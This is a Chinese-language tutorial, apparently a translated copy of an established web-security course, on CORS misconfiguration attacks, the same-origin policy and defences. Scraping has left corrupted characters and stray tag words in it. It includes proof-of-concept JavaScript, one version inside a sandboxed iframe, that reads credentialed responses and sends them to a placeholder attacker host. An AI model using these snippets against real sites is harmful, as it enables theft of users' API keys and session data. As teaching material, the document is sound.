Web 安全 之 CORS

Cross-origin resource sharing (CORS)

在本节中,咱们将解释什么是跨域资源共享(CORS),并描述一些基于 CORS 的常见攻击示例,以及讨论如何防护这些攻击。html

CORS(跨域资源共享)是什么?

CORS(跨域资源共享)是一种浏览器机制,它容许对位于当前访问域以外的资源进行受控访问。它扩展并增长了同源策略的灵活性。然而,若是一个网站的 CORS 策略配置和实现不当,它也可能致使基于跨域的攻击。CORS 不是针对跨源攻击(例如跨站请求伪造 CSRF)的保护。web

Same-origin policy(同源策略)

同源策略是一种限制性的跨域规范,它限制了网站与源域以外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另外一个网站窃取私人数据。它一般容许域向其余域发出请求,但不容许访问响应。正则表达式

更多内容可参考下本 Same-origin-policyapi

同源策略的放宽

同源策略具备很大的限制性,所以人们设计了不少方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求彻底的跨域访问。使用跨域资源共享(CORS)能够有控制地放宽同源策略。跨域

CORS 协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否容许经过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。浏览器

更多内容可参考下文 CORS and the Access-Control-Allow-Origin response header缓存

CORS 配置不当引起的漏洞

如今许多网站使用 CORS 来容许来自子域和可信的第三方的访问。他们对 CORS 的实现可能包含有错误或过于放宽,这可能致使可利用的漏洞。安全

服务端 ACAO 直接返回客户端的 Origin

有些应用程序须要容许不少其它域的访问。维护一个容许域的列表须要付出持续的努力,任何差错都有可能形成破坏。所以,应用程序可能使用一些更加简单的方法来达到最终目的。服务器

一种方法是从请求头中读取 Origin,而后将其做为 Access-Control-Allow-Origin 响应头返回。例如,应用程序接受了如下请求:cookie

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

而后,其响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

响应头代表容许从请求域进行访问,而且跨域请求能够包括 cookies(Access-Control-Allow-Credentials: true),所以浏览器将会在会话中进行处理。

因为应用程序在 Access-Control-Allow-Origin 头中直接返回了请求域,这意味着任何域均可以访问资源。若是响应中包含了任何敏感信息,如 API key 或者 CSRF token 则均可以被获取,你能够在你的网站上放置如下脚本进行检索:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Origin 处理漏洞

某些应用程序使用白名单机制来实现可信来源的访问容许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,若是在白名单中,则在 Access-Control-Allow-Origin 头中返回请求的 origin 以容许其跨域访问。例如,应用程序收到了以下的请求:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

应用程序检查白名单列表,若是 origin 在表中,则响应:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

在实现 CORS origin 白名单时极可能会犯一些失误。某个组织决定容许从其全部子域(包括还没有存在的将来子域)进行访问。应用程序容许从其余组织的域(包括其子域)进行访问。这些规则一般经过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误均可能致使访问权限被授予意外的外部域。

例如,假设应用程序容许如下结尾的全部域的访问权限:

normal-website.com

攻击者则能够经过注册如下域来得到访问权限(结尾匹配):

hackersnormal-website.com

或者应用程序容许如下开头的全部域的访问权限:

normal-website.com

攻击者则可使用如下域得到访问权限(开头匹配):

normal-website.com.evil-user.net

Origin 白名单容许 null 值

浏览器会在如下状况下发送值为 null 的 Origin 头:

  • 跨站点重定向
  • 来自序列化数据的请求
  • 使用 file: 协议的请求
  • 沙盒中的跨域请求

某些应用程序可能会在白名单中容许 null 以方便本地开发。例如,假设应用程序收到了如下跨域请求:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种状况下,攻击者可使用各类技巧生成 Origin 为 null 的请求以经过白名单,从而得到访问权限。例如,可使用 iframe 沙盒进行跨域请求:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

经过 CORS 信任关系利用 XSS

CORS 会在两个域之间创建信任关系,即便 CORS 是正确的配置,可是若是某个受信任的网站存在 XSS 漏洞,那么攻击者就能够利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。

假设请求为:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

若是服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

那么攻击者能够经过 subdomain.vulnerable-website.com 网站上的 XSS 漏洞去获取一些敏感数据:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

使用配置有问题的 CORS 中断 TLS

假设一个严格使用 HTTPS 的应用程序也经过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到如下请求时:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

应用程序响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种状况下,可以拦截受害者用户流量的攻击者能够利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤以下:

  • 受害者用户发出任何纯 HTTP 请求。
  • 攻击者将重定向注入到:http://trusted-subdomain.vulnerable-website.com
  • 受害者的浏览器遵循重定向。
  • 攻击者截获纯 HTTP 请求,返回伪造的响应给受害者,并发出恶意的 CORS 请求给:https://vulnerable-website.com
  • 受害者的浏览器发出 CORS 请求,origin 为:http://trusted-subdomain.vulnerable-website.com
  • 应用程序容许请求,由于这是一个白名单域,请求的敏感数据在响应中返回。
  • 攻击者的欺骗页面能够读取敏感数据并将其传输到攻击者控制下的任何域。

即便易受攻击的网站对 HTTPS 的使用没有漏洞,而且没有 HTTP 端点,同时全部 Cookie 都标记为安全,此攻击也是有效的。

内网和无凭证的 CORS

大部分 CORS 攻击都须要如下响应头的存在:

Access-Control-Allow-Credentials: true

没有这个响应头,受害者的浏览器将不会发送 cookies ,这意味着攻击者只能访问无需用户验证的内容,而这些内容直接访问目标网站就能够轻松得到。

然而,有一种状况下攻击者没法直接访问网站:网站是内网,而且是私有 IP 地址空间。内网的安全标准一般低于外网,这使得攻击者发现漏洞后能够得到进一步的访问权限。例如,某个私有网络中的跨域请求:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

服务器信任全部来源的跨域请求,并且无需凭证。若是私有IP地址空间内的用户访问公共互联网,则能够从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器做为访问内网资源的代理。

如何防御基于 CORS 的攻击

CORS 漏洞主要是因为错误的配置而产生的,所以防御措施主要也是如何进行正确配置的问题。下面将会描述一些有效的方法。

跨域请求的正确配置

若是 web 资源包含敏感信息,那么应该在 Access-Control-Allow-Origin 头中声明容许的来源。

只容许受信任的站点

Access-Control-Allow-Origin 头只能是受信任的站点。Access-Control-Allow-Origin 直接使用跨域请求的 origin 而不验证是很容易被利用的,应该避免。

白名单中避免 null

避免 Access-Control-Allow-Origin: null 。来自内部文档和沙盒请求的跨域资源调用能够指定 origin 为 null 的。CORS 头应该根据私有和公共服务器的可信来源正肯定义。

避免在内部网络中使用通配符

避免在内部网络中使用通配符。当内部浏览器能够访问不受信任的外部域时,仅仅依靠网络配置来保护内部资源是不够的。

CORS 不是服务端安全策略的替代品

CORS 定义的只是浏览器行为,永远不能替代服务端对敏感数据的保护,毕竟攻击者能够直接在其它环境中伪造来自任何 origin 的请求。所以,除了正确配置的 CORS 以外,web 服务端仍然须要使用诸如身份验证和会话管理等措施对敏感数据进行保护。


Same-origin policy (SOP) - 同源策略

在本节中,咱们将解释什么是同源策略以及它是如何实现的。

什么是同源策略?

同源策略是一种旨在防止网站互相攻击的 web 浏览器的安全机制。

同源策略限制一个源上的脚本访问另外一个源的数据。

Origin 源由三个部分组成:schemadomainport ,所谓的同源就是要求这三个部分所有相同。 例以下面这个 URL:

http://normal-website.com/example/example.html

schema 是 http,domainnormal-website.comport 是 80 。下表显示了若是上述 URL 中的内容尝试访问其它源将会是什么状况:

访问的 URL 是否能够访问
http://normal-website.com/example/ 是,同源
http://normal-website.com/example2/ 是,同源
https://normal-website.com/example/ 否: scheme 和 port 都不一样
http://en.normal-website.com/example/ 否: domain 不一样
http://www.normal-website.com/example/ 否: domain 不一样
http://normal-website.com:8080/example/ 否: port 不一样*

*IE 浏览器将会容许访问,由于 IE 浏览器在应用同源策略时不考虑端口号。

为何同源策略是必要的?

当浏览器从一个源发送 HTTP 请求到另外一个源时,与另外一个源相关的任何 cookie (包括身份验证会话cookie)也将会做为请求的一部分一块儿发送。这意味着响应将在用户会话中返回,并包含此特定用户的相关数据。若是没有同源策略,若是你访问了一个恶意网站,它将可以读取你 GMail 中的电子邮件、Facebook 上的私人消息等。

同源策略是如何实施的?

同源策略一般控制 JavaScript 代码对跨域加载的内容的访问。一般容许页面资源的跨域加载。例如,同源策略容许经过 <img> 标签嵌入图像,经过 <video> 标签嵌入媒体、以及经过 <script> 标签嵌入 JavaScript 。可是,页面只能加载这些外部资源,页面上的任何 JavaScript 都没法读取这些资源的内容。

同源策略也有一些例外:

  • 有些对象跨域可写入但不可读,例如 location 对象,或者来自 iframes 或新窗口的 location.href 属性。
  • 有些对象跨域可读但不可写,例如 window 对象的 length 属性和 closed 属性。
  • location 对象上能够跨域调用 replace 函数。
  • 你能够跨域调用某些函数。例如,你能够在一个新窗口上调用 closeblurfocus 函数。也能够在 iframes 和新窗口上 postMessage 函数以将消息从一个域发送到另外一个域。

因为历史遗留,在处理 cookie 时,同源策略更为宽松,一般能够从站点的全部子域访问它们,即便每一个子域并不知足同源的要求。你可使用 HttpOnly 必定程度缓解这个风险。

使用 document.domain 能够放宽同源策略,这个特殊属性容许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com,而且你想读取 example.com 域的内容。为此,两个域都须要设置 document.domainexample.com,那么同源策略将会容许这里两个域之间的访问,尽管它们并不一样源。在过去,你能够将 document.domain 设置为顶级域名如 com,以容许同一个顶级域名上的任何域之间的访问,可是现代浏览器已经不容许这么作了。


CORS 和 Access-Control-Allow-Origin 响应头

在本节中,咱们将解释有关 CORSAccess-Control-Allow-Origin 响应头,以及后者如何构成 CORS 实现的一部分。

CORS 经过使用一组 HTTP 头部提供了同源策略的可控制放宽,浏览器容许访问基于这些头部的跨域请求的响应。

什么是 Access-Control-Allow-Origin 响应头?

Access-Control-Allow-Origin 响应头标识了跨域请求容许的请求来源,浏览器会将 Access-Control-Allow-Origin 与请求网站 origin 进行比较,若是二者匹配则容许访问响应。

实现简单的 CORS

CORS 规范规定了 web 服务器和浏览器之间交换的头内容,其中 Access-Control-Allow-Origin 是最重要的。当网站发起跨域资源请求时,浏览器将会自动添加 Origin 头,随后服务器返回 Access-Control-Allow-Origin 响应头。

例如,origin 为 normal-website.com 的网站发起了以下跨域请求:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com

服务器响应:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

浏览器将会容许 normal-website.com 网站代码访问响应,由于 Access-Control-Allow-OriginOrigin 匹配。

Access-Control-Allow-Origin 容许多个域,或者 null ,或者通配符 * 。可是没有浏览器支持多个 origin ,且通配符的使用有限制。

带凭证的跨域资源请求

跨域资源请求的默认行为是传递请求时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域请求,服务器经过设置 Access-Control-Allow-Credentials: true 响应头能够容许浏览器读取响应。例如,某个网站使用 JavaScript 去控制发起请求时一块儿发送 cookies :

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

获得的响应为:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

那么浏览器将会容许发起请求的网站读取响应,由于 Access-Control-Allow-Credentials 设置为了 true。不然,浏览器将不容许访问响应。

使用通配符放宽 CORS

Access-Control-Allow-Origin 头支持使用通配符 * ,如

Access-Control-Allow-Origin: *

注意:通配符不能与其余值一块儿使用,以下方式是非法的:

Access-Control-Allow-Origin: https://*.normal-website.com

幸运的是,基于安全考虑,通配符的使用是有限制的,你不能同时使用通配符与带凭证的跨域传输。所以,如下形式的服务器响应是不容许的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

由于这是很是危险的,这等于向全部人公开目标网站上全部通过身份验证的内容。

预检

为了保护遗留资源不受 CORS 容许的扩展请求的影响,预检也是 CORS 规范中的一部分。在某些状况下,当跨域请求包括非标准的 HTTP method 或 header 时,在进行跨域请求以前,浏览器会先发起一次 method 为 OPTIONS 的请求,而且对服务端响应的 Access-Control-* 之类的头进行初步检查,对比 origin、method 和 header 等等,这就叫预检。

例如,对使用 PUT 方法和 Special-Request-Header 自定义请求头的预检请求为:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服务器可能响应:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

这个响应的含义:

  • Access-Control-Allow-Origin 容许的请求域。
  • Access-Control-Allow-Methods 容许的请求方法。
  • Access-Control-Allow-Headers 容许的请求头。
  • Access-Control-Allow-Credentials 容许带凭证的请求。
  • Access-Control-Max-Age 设置预检响应的最大缓存时间,经过缓存减小预检请求增长的额外的 HTTP 请求往返的开销。

CORS 能防止 CSRF 吗?

CORS 没法提供对跨站请求伪造(CSRF)攻击的防御,这是一个容易出现误解的地方。

CORS 是对同源策略的受控放宽,所以配置不当的 CORS 实际上可能会增长 CSRF 攻击的可能性或加重其影响。

相关文章
相关标签/搜索